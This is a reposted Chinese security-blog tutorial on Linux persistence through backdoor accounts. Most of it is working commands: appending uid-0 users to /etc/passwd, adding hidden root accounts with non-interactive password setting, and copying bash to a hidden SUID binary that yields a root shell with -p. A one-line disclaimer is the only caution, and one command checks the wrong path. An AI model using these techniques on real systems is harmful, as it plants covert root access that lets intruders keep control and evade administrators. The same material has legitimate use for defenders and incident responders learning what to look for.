Linux权限维持-Backdoor User

admin 2024年2月26日01:55:02评论12 views字数 1300阅读4分20秒阅读模式
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关,如有侵权,告知即删并致歉,感谢!

前提条件

root权限即可

允许uid=0的用户远程登录

echo "niuma:x:0:0::/:/bin/sh" >> /etc/passwd #增加超级用户账号
passwd niuma #修改niuma的密码为niuma666

or
useradd -o -u 0 backdoor
Linux权限维持-Backdoor User

不允许uid=0的用户远程登录

如果高权限用户不允许登录,我们可以增加一个普通用户进行远程登陆

echo "cainiao:x:1000:1000::/:/bin/sh" >> /etc/passwd #增加普通用户账号
passwd cainiao  #修改cainiao的密码为cainiao666
Linux权限维持-Backdoor User

管理员是怎么设置禁用远程登录的:https://cloud.tencent.com/developer/article/1519389

euid位0和具有suid权限的用户

# 复制bash二进制文件到根目录 并将其命名位.woot
cp /bin/bash /.woot  

# 设置.suid位让.bash文件在执行时以拥有文件所有者(root)的权限运行
chmod 4755 /.woot

# 这里验证.suid位是否已经设置,输出中应该包含 `-rwsr-xr-x`,其中's'表示.suid位。
ls -al /.root

# 尝试执行新的SUID shell,但由于bash2的防护机制,可能会失败
# 此时,普通用户(fw)执行SUID shell,但由于bash2的保护措施,未能成功获取root权限。
id

# 使用 `-p` 参数进行权限提升: 使用 `-p` 参数运行SUID shell,成功获取root权限。
/.woot -p

# 查看当前用户信息:
id

# 还可以去找带有suid权限位的文件 当作权限维持的后门
 find / -perm +4000 -ls

无回显交互添加高权限用户权限

需要执行两次

useradd caiji -u 0 -o -g root -G root|| echo "caiji666" | passwd --stdin caiji #创建账户caiji、密码caiji666且为root权限
Linux权限维持-Backdoor User

在Ubuntu一些版本没有--stdin会报错,可以尝试下面这个命令

sudo useradd caiji -u 0 -o -g root -G root || echo caiji:123456 | chpasswd 

无回显交互添加复杂密码高权限

需要执行两次

useradd -u 0 -o -g root -G root user2 |echo -e "w2ab2wsanw2ab2wsa"|passwd user2
# 密码为w2ab2wsa
Linux权限维持-Backdoor User
Linux权限维持-Backdoor User

无回显交互添加低用户权限

useradd test
echo "123456" | passwd --stdin test
Linux权限维持-Backdoor User
Linux权限维持-Backdoor User
一个将是对作者最大的鼓励,点击下方关注我!!!

原文始发于微信公众号(河马安全区):Linux权限维持-Backdoor User

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月26日01:55:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux权限维持-Backdoor Userhttp://cn-sec.com/archives/2524230.html

发表评论

匿名网友 填写信息